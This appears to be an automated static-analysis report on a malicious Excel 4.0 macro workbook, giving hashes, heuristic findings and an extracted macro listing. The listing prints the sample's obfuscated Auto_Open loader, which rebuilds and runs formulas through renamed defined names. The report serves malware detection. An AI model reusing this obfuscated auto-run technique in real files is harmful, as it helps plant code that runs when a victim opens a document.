Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 905cd42c602a17f8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:45 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 55a42471987bcfe67efb742aafda74f1 SHA-1: 80bb838c0e2545b41bf13489a86212a5fdbb5e4d SHA-256: 905cd42c602a17f8f59be93c35ec13183f471bd5f96ffae4eb7428601c39eed7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6395 bytes
SHA-256: eb9f734e241dd541f4574f4f8271d6099e1d214eb1537e2fc606507227674dcb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HSQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I145 
' 0018     25 LABEL : Cell Value, String Constant - cGXdBYGqSD len=0 
' 0018     25 LABEL : Cell Value, String Constant - ektnwgTFhv len=0 
' 0018     21 LABEL : Cell Value, String Constant - emsbZC len=0 
' 0018     27 LABEL : Cell Value, String Constant - EpWSHTspQxXy len=0 
' 0018     27 LABEL : Cell Value, String Constant - FcvPcRbTznRn len=0 
' 0018     23 LABEL : Cell Value, String Constant - hALDpyOK len=0 
' 0018     20 LABEL : Cell Value, String Constant - JXjMY len=0 
' 0018     25 LABEL : Cell Value, String Constant - JXvSlHPKDt len=0 
' 0018     26 LABEL : Cell Value, String Constant - KIzAVTCOxAm len=0 
' 0018     27 LABEL : Cell Value, String Constant - nsgTvUHdXRZA len=0 
' 0018     25 LABEL : Cell Value, String Constant - OLdUHSsXWP len=0 
' 0018     21 LABEL : Cell Value, String Constant - OmmIQL len=0 
' 0018     25 LABEL : Cell Value, String Constant - qczyfzSnYS len=0 
' 0018     26 LABEL : Cell Value, String Constant - RQCQuAfsNJO len=0 
' 0018     25 LABEL : Cell Value, String Constant - sbQHTRbpGp len=0 
' 0018     22 LABEL : Cell Value, String Constant - srLAhQn len=0 
' 0018     27 LABEL : Cell Value, String Constant - vhXTuynbJTYN len=0 
' 0018     23 LABEL : Cell Value, String Constant - vVfKYmLO len=0 
' 0018     20 LABEL : Cell Value, String Constant - wSJYU len=0 
' 0018     22 LABEL : Cell Value, String Constant - wWQqBnO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HSQ,I46,"SET.NAME("KIzAVTCOxAm",VALUE("0"))",""
'  HSQ,I51,"SET.NAME("OmmIQL",KIzAVTCOxAm)",""
'  HSQ,I55,"SET.NAME("JXvSlHPKDt",KIzAVTCOxAm)",""
'  HSQ,I60,"SET.NAME("qczyfzSnYS",COUNTA(ektnwgTFhv))",""
'  HSQ,I65,"SET.NAME("OLdUHSsXWP",COUNTA(FcvPcRbTznRn))",""
'  HSQ,I69,[],""
'  HSQ,I73,"SET.NAME("wWQqBnO","")",""
'  HSQ,I76,"OmmIQL",""
'  HSQ,I79,"SET.NAME("sbQHTRbpGp",HLOOKUP("*",ektnwgTFhv,OmmIQL,FALSE))",""
'  HSQ,I82,"RQCQuAfsNJO",""
'  HSQ,I84,"SET.NAME("emsbZC",KIzAVTCOxAm)",""
'  HSQ,I89,[],""
'  HSQ,I93,"emsbZC",""
'  HSQ,I97,"hALDpyOK",""
'  HSQ,I100,"nsgTvUHdXRZA",""
'  HSQ,I105,"srLAhQn",""
'  HSQ,I109,"SET.NAME("vhXTuynbJTYN",VALUE(HLOOKUP("*",FcvPcRbTznRn,srLAhQn,FALSE)))",""
'  HSQ,I111,"vVfKYmLO",""
'  HSQ,I116,"wWQqBnO",""
'  HSQ,I121,"JXvSlHPKDt",""
'  HSQ,I125,NEXT(),""
'  HSQ,I129,"EpWSHTspQxXy",""
'  HSQ,I132,"SET.NAME("f",INT(T(FORMULA(T(wWQqBnO)&"",""&T(EpWSHTspQxXy)))))",""
'  HSQ,I134,"JXjMY",""
'  HSQ,I137,NEXT(),""
'  HSQ,I142,RETURN(),""
'  HSQ,I168,"SET.NAME("wSJYU",I46)",""
'  HSQ,I172,"ektnwgTFhv",""
'  HSQ,I175,"SET.NAME("FcvPcRbTznRn",R53C13)",""
'  HSQ,I177,"SET.NAME("JXjMY",184)",""
'  HSQ,I180,"SET.NAME("cGXdBYGqSD",9)",""
'  HSQ,I183,wSJYU(),""
'  HSQ,I184,HALT(),""